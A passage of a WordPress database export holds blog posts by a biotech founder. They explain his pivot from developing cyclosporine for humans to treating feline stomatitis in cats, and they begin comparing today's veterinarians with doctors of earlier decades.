href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd94e8e16-cdab-45c9-8b2e-84407181d3fb_806x537.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd94e8e16-cdab-45c9-8b2e-84407181d3fb_806x537.jpeg\" alt=\"the Revenant\' Filming Secrets\" title=\"the Revenant\' Filming Secrets\"/></a><figcaption>Pictured: a biotech founder getting mauled by the 2022 bear market.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>At this point, I faced an impasse. I could keep with my initial plan, and hope to somehow scrape together enough money to test the drug in humans in a historically challenging funding market. The thing that troubled me about this is that biotech, as a business largely built on perception, is also very dependent on momentum. The farther away you get from your last achievement the more investors worry that you’ll not see the next one. I could spend 2 years raising money and then get stuck in a quagmire of lost hopes, years away from my last achievement and years away from my next one.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I decided to take a different route: raising money to test my drug in animals. Now, this wasn’t a new idea. A bunch of people had suggested I try testing my drug combo in animals before testing it in humans, although I had always resisted because I thought the drug metabolism at play wasn’t an easy translation, and then I’d just have to do a whole different study in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, now I had different incentives. Given the money I had, an animal trial was all I could afford. However, this got me thinking: what was the next step going to be? Even if I tested my drug in animals, I’d still have to raise money to test my drug in humans again. Granted, I’d have more data (an animal study), but I wasn’t sure that was going to be higher quality data than the preclinical studies I based my development work on already.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So I decided to take the plunge. Not only would I test my drug in animals, I decided to develop my drug for animals as well. The downside of this was something I knew from the beginning: lower revenue potential. Animal drug spending is mostly out-of-pocket and also people generally aren’t willing to spend as much money on their pets’ health issues as their own. The upside however, was considerable, especially for someone in my position:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<strong>Lower development costs</strong>. Getting cats to take a drug just requires bribing them with cat food, not money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b)&nbsp;<strong>Easier regulatory environments</strong>. Not only do you not need to talk to the FDA before testing your drug in animals, cats are way less likely to sue you if they get sick from your drug. Of course, we’d still do our best to make sure they didn’t, but it’s less likely to sink the entire company if they do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c)&nbsp;<strong>Friendlier regulators</strong>. On the human side, the FDA mostly considers their responsibility to be to stop unsafe or ineffective drugs from entering the marketplace, and believes that allowing safe and effective drugs to enter the marketplace is a secondary goal. On the animal side, the FDA is generally happy that anyone is developing drugs for animals at all (instead of just repurposing them from human drugs), and so is more helpful. The animal FDA is also much less likely to get yelled at if they make the wrong decision, to be fair.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only real question was what I would use my cyclosporine combo for. This was a tricky issue, because the serious side effects that are present in cyclosporine for humans don’t really affect cats or dogs. They get minor side effects (vomiting and diarrhea in about 30% of pets), but not major ones, which is one of the reasons why I didn’t think they had similar enough metabolism in the first place. Given that one of my big selling points for my combo was avoiding major side effects, I needed to focus on a different angle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I decided to look for instead was any animal disease in which cyclosporine was both annoying to administer frequently and where its unpredictable bioavailability had affected its efficacy. I found it in feline stomatitis, an inflammatory disease that affects about 1% of cats and gives them terrible sores on their lips and mouth. The normal treatment for this disease is full or partial dental extraction (teeth pulling), which is both expensive (about $1k), a sad thing to do to a cat, and doesn’t even work in all cases. Following dental extraction, cyclosporine is often used as a supplementary treatment to reduce inflammation, and there had also been a few promising studies showing cyclosporine could sometimes be used as a replacement for dental extraction as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff59526e8-feb9-4d51-87dd-a5a328d95469_720x576.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff59526e8-feb9-4d51-87dd-a5a328d95469_720x576.jpeg\" alt=\"cheshire cat grin Alice in wonderland by Wendy | Alice in wonderland, Cheshire  cat tattoo, Wonderland\" title=\"cheshire cat grin Alice in wonderland by Wendy | Alice in wonderland, Cheshire  cat tattoo, Wonderland\"/></a><figcaption>A cat following dental extraction is basically the opposite of the Cheshire cat, if you think about it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That’s where I knew my opening could be. Although cyclosporine was often effective in feline stomatitis, it wasn’t always. Given that cyclosporine had the same variability in bioavailability in cats as it does in humans, I suspected this was due to variations in blood concentration, which was further supported by a small vet study. Furthermore, it’s difficult enough to give drugs to a healthy cat, never mind one that has sores in its mouth. This is when giving drugs less frequently to a cat could be a big advantage for patient compliance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, a drug like mine, which results in consistent blood concentrations, requires less frequent dosing, and coincidentally also needs smaller pill sizes, could be a big hit in feline stomatitis. Excited, I reached out to some people I knew in animal health, who introduced me to vets. I confirmed my ideas with these vets, and armed with knowledge, went back to convince the people who worked with me. They were on board, too, so I forged ahead and made the switch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I had my indication, I had my plans, and the rest was, well, not history exactly, because I’m still doing it. The rest will be history eventually. For right now, we’ve got our first pilot trial in cats planned for this fall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s our story so far. Now, to fulfill the imperative of the second half of this essay: why others (maybe you!) should do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transitioning from humans to animals isn’t easy. There are different challenges and different rewards. However, if you’re like me, and think that developing drugs is a morally&nbsp;good thing to do, I think developing drugs for animals is at least something to consider. It’s easier overall, it’s cheaper, and you still have the chance to help both animals and the people that love them. Plus, there’s no rule that says you can’t simultaneously develop for humans once you’ve got good results in animals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As for me, well, if any of you reading this have interest in animal health, please reach out. Now that I’ve found some sort of new home for my company, I’m eager to get to know my neighbors and well-wishers.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to get more long-winded essays, mostly about biology.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] If this is unfamiliar to you, let me break it down. Single asset is what it sounds like: instead of having multiple drugs being developed at once, you only have one drug being developed. This is as opposed to drug platforms, which are like drug “engines” that you put money into and they spit out drugs, usually involving some idea of an AI secret sauce that gets better the more data&nbsp; you put into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Drug repurposing, on the other hand, means that you’re taking a drug that’s been developed for one purpose, and using it for another. This is as opposed to new chemical entities, which are drugs developed from scratch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Almost every biotech investor will agree that, theoretically, single asset drug repurposing should work. In fact, almost all of them will agree that, in practical terms, drug startups end up as single asset companies anyways, because it’s so expensive to take a drug through trials. By the time your drug is tested in humans, you’ve already chosen your horse. Even Moderna, who raised tons of money, went public, and harped constantly about how they were developing a million drugs that were going to end every single disease, ended up with just one drug they managed to get approved in the 10 years since they became a company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They’ll also agree there’s no reason drug repurposing shouldn’t work. They’ll agree it’s de-risked, because your manufacturing is taken care of, and the safety issues (at least in people in general) are already known. Development should be cheaper and there’s less likelihood the FDA will get mad at you for some random reason.<br><br>And yet, then they’ll say, “Of course you and I know that. But, your success isn’t dependent on just me. You need to get multiple investors to all agree to fund your development program, and biotech investors in general prefer platform plays and new chemical entities. I just don’t think you’ll be able to get follow-up funding, and then I’ll be stuck.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Believe me: this is the exact conversation I’ve had like 20 times. Venture capitalists are pattern-matchers, for better or for worse. When it’s worse, sometimes it can really feel like herding lemmings: they won’t go anywhere other VCs haven’t already gone.</p>\n<!-- /wp:paragraph -->','Why I\'m now making drugs for cats (and you should too)','','publish','closed','closed','','why-im-now-making-drugs-for-cats-and-you-should-too','','','2022-08-16 15:23:38','2022-08-16 15:23:38','',0,'https://trevorklee.com/?page_id=297',0,'page','',0),
(298,1,'2022-08-16 15:23:38','2022-08-16 15:23:38','<!-- wp:paragraph -->\n<p>As you’ve probably gathered from the post title, I’ve made a pivot with my company, Highway Pharmaceuticals.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For those of you who aren’t aware, I initially started Highway based around my excitement for cyclosporine’s possible utility in neurodegenerative diseases. Cyclosporine, an immunosuppressant, showed intriguing possibilities in neurodegeneration in trials in the 80s and 90s, back when we thought all neurodegeneration might be autoimmune diseases in disguise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cyclosporine was abandoned as a neurodegenerative treatment (although not as an immunosuppressant) because of variable efficacy, severe and unpredictable side effects, and an unclear mechanism. Years later,&nbsp;<a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\">we found the mechanism relating cyclosporine to neurodegeneration</a>, but by then Biogen had solved neurodegeneration using their drug Adulhem (<a href=\"https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwiomMWRzq_4AhVqkokEHdJNAH4QFnoECBwQAQ&amp;url=https%3A%2F%2Fwww.npr.org%2Fsections%2Fhealth-shots%2F2021%2F11%2F08%2F1052833252%2Fcost-and-controversy-are-limiting-use-of-new-alzheimers-drug&amp;usg=AOvVaw0uy5gDFKOsSSTaVYSj5s3d\">just kidding</a>). Meanwhile, I believed that I found a way to make cyclosporine more consistently efficacious while lowering the incidence of side effects.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive occasional posts, mostly about biology.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I wanted to bring cyclosporine back into the mainstream and test it for neurodegeneration. Not only did I think neurodegeneration was important in a general sense, but also in a very personal sense. Neurodegeneration runs in my family. I’ve had multiple close family members end up with dementia in their old age, and it’s a terrible thing. In fact, I’d say it’s the single most important unsolved medical problem facing us today.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50ed791-88c6-4176-8673-84a49f819758_625x350.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50ed791-88c6-4176-8673-84a49f819758_625x350.jpeg\" alt=\"Controversy Surrounds Biogen and Eisai\'s Alzheimer\'s Drug Aducanumab |  BioSpace\" title=\"Controversy Surrounds Biogen and Eisai\'s Alzheimer\'s Drug Aducanumab |  BioSpace\"/></a><figcaption>The prevalence of neurodegeneration is also the single most important unsolved cause of bad stock photos facing us today.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I knew I couldn’t just jump straight from zero to neurodegeneration, though, especially given my previous background as, um, “science blogger”. I’d be asking investors to trust these assumptions<br><br>a) Cyclosporine is the right drug for neurodegeneration</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) My version of cyclosporine is better than the old version</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) I/my company can take my version of cyclosporine through the complicated, expensive trials necessary to prove that my version is better than the old version</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are big asks! Even worse, there’d actually be another hidden assumption in there that you wouldn’t notice unless you were familiar with the biotech industry:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d) Single asset drug repurposing can get funding and be successful [1]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So I decided to allay at least one of those assumptions. Instead of trying to prove that cyclosporine was the right drug for neurodegeneration, I decided to start by just getting an approval of cyclosporine for an autoimmune disease, chronic spontaneous urticaria (CSU), that it was already being used off-label for.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That would at least allow me to ignore assumption a) for now, and assumption c) would be a lot easier. CSU is essentially autoimmune hives, so trials in it, although still medical trials, come down just looking at someone’s skin and seeing if it clears up. It’s a lot easier to run than neurodegeneration, where you have to somehow look inside people’s brains. After I prove safety and efficacy in CSU, I planned to go onto neurodegeneration as well as other autoimmune diseases (i.e. a homerun and a few base hits simultaneously).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is still a tall order for a guy whose background was, again, science blogger. But things went surprisingly ok, all things considered. I linked up with an excellent corporate attorney and patent attorney, both of whom agreed to let me use their services on a pay later basis. I found a COO with significant experience in biotech who was interested in the work. And I started making a great network of people who were, if not fully bought into the work I was doing, at least interested in it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I felt good! The next step was in sight: a test of the drug in humans, to see if we actually saw the blood levels of cyclosporine that I expected we would. We had contracted with a CRO in the Netherlands and were raising the $1+ million needed to actually carry out the test when – pop! – the biotech markets imploded. Suddenly, investors literally stopped returning my (and everyone else’s) emails.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd94e8e16-cdab-45c9-8b2e-84407181d3fb_806x537.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fd94e8e16-cdab-45c9-8b2e-84407181d3fb_806x537.jpeg\" alt=\"the Revenant\' Filming Secrets\" title=\"the Revenant\' Filming Secrets\"/></a><figcaption>Pictured: a biotech founder getting mauled by the 2022 bear market.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>At this point, I faced an impasse. I could keep with my initial plan, and hope to somehow scrape together enough money to test the drug in humans in a historically challenging funding market. The thing that troubled me about this is that biotech, as a business largely built on perception, is also very dependent on momentum. The farther away you get from your last achievement the more investors worry that you’ll not see the next one. I could spend 2 years raising money and then get stuck in a quagmire of lost hopes, years away from my last achievement and years away from my next one.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I decided to take a different route: raising money to test my drug in animals. Now, this wasn’t a new idea. A bunch of people had suggested I try testing my drug combo in animals before testing it in humans, although I had always resisted because I thought the drug metabolism at play wasn’t an easy translation, and then I’d just have to do a whole different study in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, now I had different incentives. Given the money I had, an animal trial was all I could afford. However, this got me thinking: what was the next step going to be? Even if I tested my drug in animals, I’d still have to raise money to test my drug in humans again. Granted, I’d have more data (an animal study), but I wasn’t sure that was going to be higher quality data than the preclinical studies I based my development work on already.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So I decided to take the plunge. Not only would I test my drug in animals, I decided to develop my drug for animals as well. The downside of this was something I knew from the beginning: lower revenue potential. Animal drug spending is mostly out-of-pocket and also people generally aren’t willing to spend as much money on their pets’ health issues as their own. The upside however, was considerable, especially for someone in my position:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<strong>Lower development costs</strong>. Getting cats to take a drug just requires bribing them with cat food, not money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b)&nbsp;<strong>Easier regulatory environments</strong>. Not only do you not need to talk to the FDA before testing your drug in animals, cats are way less likely to sue you if they get sick from your drug. Of course, we’d still do our best to make sure they didn’t, but it’s less likely to sink the entire company if they do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c)&nbsp;<strong>Friendlier regulators</strong>. On the human side, the FDA mostly considers their responsibility to be to stop unsafe or ineffective drugs from entering the marketplace, and believes that allowing safe and effective drugs to enter the marketplace is a secondary goal. On the animal side, the FDA is generally happy that anyone is developing drugs for animals at all (instead of just repurposing them from human drugs), and so is more helpful. The animal FDA is also much less likely to get yelled at if they make the wrong decision, to be fair.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only real question was what I would use my cyclosporine combo for. This was a tricky issue, because the serious side effects that are present in cyclosporine for humans don’t really affect cats or dogs. They get minor side effects (vomiting and diarrhea in about 30% of pets), but not major ones, which is one of the reasons why I didn’t think they had similar enough metabolism in the first place. Given that one of my big selling points for my combo was avoiding major side effects, I needed to focus on a different angle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I decided to look for instead was any animal disease in which cyclosporine was both annoying to administer frequently and where its unpredictable bioavailability had affected its efficacy. I found it in feline stomatitis, an inflammatory disease that affects about 1% of cats and gives them terrible sores on their lips and mouth. The normal treatment for this disease is full or partial dental extraction (teeth pulling), which is both expensive (about $1k), a sad thing to do to a cat, and doesn’t even work in all cases. Following dental extraction, cyclosporine is often used as a supplementary treatment to reduce inflammation, and there had also been a few promising studies showing cyclosporine could sometimes be used as a replacement for dental extraction as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff59526e8-feb9-4d51-87dd-a5a328d95469_720x576.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ff59526e8-feb9-4d51-87dd-a5a328d95469_720x576.jpeg\" alt=\"cheshire cat grin Alice in wonderland by Wendy | Alice in wonderland, Cheshire  cat tattoo, Wonderland\" title=\"cheshire cat grin Alice in wonderland by Wendy | Alice in wonderland, Cheshire  cat tattoo, Wonderland\"/></a><figcaption>A cat following dental extraction is basically the opposite of the Cheshire cat, if you think about it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>That’s where I knew my opening could be. Although cyclosporine was often effective in feline stomatitis, it wasn’t always. Given that cyclosporine had the same variability in bioavailability in cats as it does in humans, I suspected this was due to variations in blood concentration, which was further supported by a small vet study. Furthermore, it’s difficult enough to give drugs to a healthy cat, never mind one that has sores in its mouth. This is when giving drugs less frequently to a cat could be a big advantage for patient compliance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, a drug like mine, which results in consistent blood concentrations, requires less frequent dosing, and coincidentally also needs smaller pill sizes, could be a big hit in feline stomatitis. Excited, I reached out to some people I knew in animal health, who introduced me to vets. I confirmed my ideas with these vets, and armed with knowledge, went back to convince the people who worked with me. They were on board, too, so I forged ahead and made the switch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I had my indication, I had my plans, and the rest was, well, not history exactly, because I’m still doing it. The rest will be history eventually. For right now, we’ve got our first pilot trial in cats planned for this fall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s our story so far. Now, to fulfill the imperative of the second half of this essay: why others (maybe you!) should do the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transitioning from humans to animals isn’t easy. There are different challenges and different rewards. However, if you’re like me, and think that developing drugs is a morally&nbsp;good thing to do, I think developing drugs for animals is at least something to consider. It’s easier overall, it’s cheaper, and you still have the chance to help both animals and the people that love them. Plus, there’s no rule that says you can’t simultaneously develop for humans once you’ve got good results in animals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As for me, well, if any of you reading this have interest in animal health, please reach out. Now that I’ve found some sort of new home for my company, I’m eager to get to know my neighbors and well-wishers.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to get more long-winded essays, mostly about biology.<strong>✓</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] If this is unfamiliar to you, let me break it down. Single asset is what it sounds like: instead of having multiple drugs being developed at once, you only have one drug being developed. This is as opposed to drug platforms, which are like drug “engines” that you put money into and they spit out drugs, usually involving some idea of an AI secret sauce that gets better the more data&nbsp; you put into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Drug repurposing, on the other hand, means that you’re taking a drug that’s been developed for one purpose, and using it for another. This is as opposed to new chemical entities, which are drugs developed from scratch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Almost every biotech investor will agree that, theoretically, single asset drug repurposing should work. In fact, almost all of them will agree that, in practical terms, drug startups end up as single asset companies anyways, because it’s so expensive to take a drug through trials. By the time your drug is tested in humans, you’ve already chosen your horse. Even Moderna, who raised tons of money, went public, and harped constantly about how they were developing a million drugs that were going to end every single disease, ended up with just one drug they managed to get approved in the 10 years since they became a company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They’ll also agree there’s no reason drug repurposing shouldn’t work. They’ll agree it’s de-risked, because your manufacturing is taken care of, and the safety issues (at least in people in general) are already known. Development should be cheaper and there’s less likelihood the FDA will get mad at you for some random reason.<br><br>And yet, then they’ll say, “Of course you and I know that. But, your success isn’t dependent on just me. You need to get multiple investors to all agree to fund your development program, and biotech investors in general prefer platform plays and new chemical entities. I just don’t think you’ll be able to get follow-up funding, and then I’ll be stuck.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Believe me: this is the exact conversation I’ve had like 20 times. Venture capitalists are pattern-matchers, for better or for worse. When it’s worse, sometimes it can really feel like herding lemmings: they won’t go anywhere other VCs haven’t already gone.</p>\n<!-- /wp:paragraph -->','Why I\'m now making drugs for cats (and you should too)','','inherit','closed','closed','','297-revision-v1','','','2022-08-16 15:23:38','2022-08-16 15:23:38','',297,'https://trevorklee.com/?p=298',0,'revision','',0),
(299,1,'2022-08-16 15:24:38','2022-08-16 15:24:38','<!-- wp:paragraph -->\n<p>My grandfather was a psychiatrist from the 50s through the 90s. My mom was a pediatrician, then a dermatologist from the 80s through the 2010s. Between the two of them, I’ve gotten a good sense of the way medicine has shifted through the last 70 years or so: the rise of the FDA, the growth of modern pharmaceuticals, the domination of the “fee-for-service” model, the increasing influence of the insurance companies, and, more recently, the pernicious influence of electronic medical records.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the things I noticed talking to my grandfather while he was still alive and my mom now is the way in which their medical thinking was influenced by the structure of the medical establishment while they were being trained. My grandfather, trained in an era before strong FDA regulation of medications, was mostly distrustful of medications. He much preferred talk therapy and psychoanalysis, seeing medications as a last resort when those failed. He was very conversant in the studies themselves, though, constantly reading journals to see the latest advances in pharmaceuticals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0ddcdb28-65cc-4b0e-9e39-fa64ad8b012b_2736x1440.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F0ddcdb28-65cc-4b0e-9e39-fa64ad8b012b_2736x1440.png\" alt=\"\"/></a><figcaption>What my grandfather is now remembered for.&nbsp;<a href=\"https://www.chicagotribune.com/news/obituaries/la-me-gerald-klee-20130309-story.html\">Link</a>&nbsp;if you’re curious. He was an interesting, weird guy.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, my mom was trained in an era before prior authorizations and the fear of malpractice suits were quite so pervasive. So my mom has always been very comfortable prescribing a variety of medications both on and off-label depending on her patients’ needs. She felt confident in her ability to help her patients navigate side effects when or if they experienced them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also worth noting that both my grandfather and mom were small business owners, through and through. They had employees, a reputation in their community, mostly straightforward commercial relationships with their patients (including, occasionally, barter), and their own unique ways of both practicing and administering their practice based on what they thought was necessary.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These stories likely seem unexceptional to you. And they’d be unexceptional to the doctors of my grandfather and mom’s time as well. They’re also not particularly exceptional to the veterinarians of their time, or, indeed, of this time. However, they are exceptional to the American doctors of this year 2022. And that, to me, is interesting: in many ways, vets in 2022 are more similar to doctors of the 80s than doctors in 2022 are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In many ways, veterinarians in the year 2022 are much like my mom used to be. By and large, they own small practices. The amount of regulation on their work is relatively limited, so most of how they practice and administer their practice is based on what they think is necessary. Their relationships with their patients are, for the most part, straightforwardly commercial: they perform services and sell products for fees, with only a limited amount of interaction with pet insurance. They see themselves in that way, too. A good veterinarian will tell their patient, “Here are a few options for your pet’s health issue. Here are the benefits, drawbacks, and costs associated with these options. I’ll let you make the decision.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6ee443c9-a8ad-48b8-97a0-a5d41331cf37_500x372.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F6ee443c9-a8ad-48b8-97a0-a5d41331cf37_500x372.jpeg\" alt=\"yellow labrador retriever puppies images | Dogs hugging, Cute animals,  Animals friendship\" title=\"yellow labrador retriever puppies images | Dogs hugging, Cute animals,  Animals friendship\"/></a><figcaption>I assume they also make this exact joke 12 times per day.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Interestingly, in some ways, they’re even like my grandfather used to be. Many of the conditions that vets see don’t have specific drugs associated with them (or even high quality studies), so vets often have to get creative. It’s very common for them to repurpose human drugs or use compounding pharmacies to treat their patients. Specializing in a subset of veterinary medicine (like canine neurology) is still rare, and specializing in a condition is basically unheard of. Pretty much every vet has to be comfortable treating every condition in whatever species they treat. There aren’t really experts in conditions in the same way there are in human medicine, so folklore and word-of-mouth is very important for spreading knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>American doctors in 2022, by contrast, are not at all like my mom used to be. By and large, they belong to large practices or hospitals. They face an enormous amount of regulation on how they practice, what insurance and licenses they need [1], and how they keep records. These regulations add a significant amount of time, expense, and complexity to how they work [2]. Their commercial relationships with patients are anything but straightforward. The commercial relationship ends up being between the doctor or hospital’s billing specialist and the patient’s insurance company, with both the doctor and the patient having no idea what the end result will be. Very few American doctors even consider cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They do, however, get very concerned about adverse effects. One of the positive developments in medicine over the past few decades has been the explosion of treatment regimens and drugs for highly specific conditions, which has really improved the well-being of patients in a number of conditions. But, a negative result of this is that doctors are way, way more comfortable following treatment algorithms for a condition rather than being creative. If they’re forced to be creative, they’d rather focus on minimizing side effects rather than 